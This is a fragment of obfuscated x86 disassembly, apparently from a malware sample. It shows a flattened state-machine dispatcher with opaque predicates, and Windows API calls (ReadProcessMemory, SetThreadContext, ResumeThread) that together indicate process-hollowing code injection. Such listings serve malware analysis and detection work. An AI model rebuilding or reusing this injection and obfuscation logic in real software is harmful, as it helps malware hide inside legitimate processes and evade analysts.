sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
mov eax, dword [0x1006f938]
mov ecx, dword [0x1006f934]
mov edx, eax
sub edx, 0x29079cd2
sub edx, 1
add edx, 0x29079cd2
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x622b316d
mov ecx, 0x693fc75
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x10004e9d
mov dword [ebp - 0x13c], 0xd3a9a9cf
jmp 0x10004e9d
mov eax, dword [ebp - 0x20]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov dword [ebp - 0x13c], 0x2cad0f45
jmp 0x10004e9d
mov eax, dword [0x1006f938]
mov ecx, dword [0x1006f934]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x23537319
mov ecx, 0x282f4b96
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x10004e9d
mov dword [ebp - 0x13c], 0xd24e0384
jmp 0x10004e9d
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10005360
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x124]
mov edx, dword [ecx + 0x3c]
xor ecx, ecx
sub ecx, edx
sub eax, ecx
mov dword [ebp - 0x12c], eax
mov dword [ebp - 0x13c], 0xaee845d5
jmp 0x10004e9d
mov eax, dword [ebp - 0xec]
mov dword [ebp - 0x13c], 0x51b205dd
jmp 0x10004e9d
lea eax, [ebp - 0x24]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x10
call fcn.10005f60
add esp, 0xc
mov dword [ebp - 0x13c], 0xa8c9ce30
jmp 0x10004e9d
mov eax, dword [ebp - 0x24]
sub esp, 4
mov dword [esp], eax
call fcn.10002330
add esp, 4
mov dword [ebp - 0x138], eax
mov eax, dword [ebp - 0x12c]
mov ecx, dword [eax + 0xa4]
mov eax, dword [ebp - 0x120]
mov dword [eax], ecx
mov eax, dword [ebp - 0x12c]
mov edx, dword [eax + 0x34]
mov esi, dword [ebp - 0x24]
mov eax, dword [ebp - 0x11c]
lea ecx, [ebp - 0x14]
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], eax
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov dword [ebp - 0x13c], 0x94411d1f
jmp 0x10004e9d
mov dword [ebp - 0x13c], 0xe972aea3
jmp 0x10004e9d
mov dword [ebp - 0x13c], 0xe5c030c
jmp 0x10004e9d
mov eax, dword [ebp - 0x8c]
mov dword [ebp - 0x13c], 0x4a481413
jmp 0x10004e9d
mov dword [ebp - 0x13c], 0xfab5c1b7
jmp 0x10004e9d
mov eax, dword [ebp - 0x110]
mov dword [ebp - 0x13c], 0x15ccd81a
jmp 0x10004e9d
jmp 0x10002750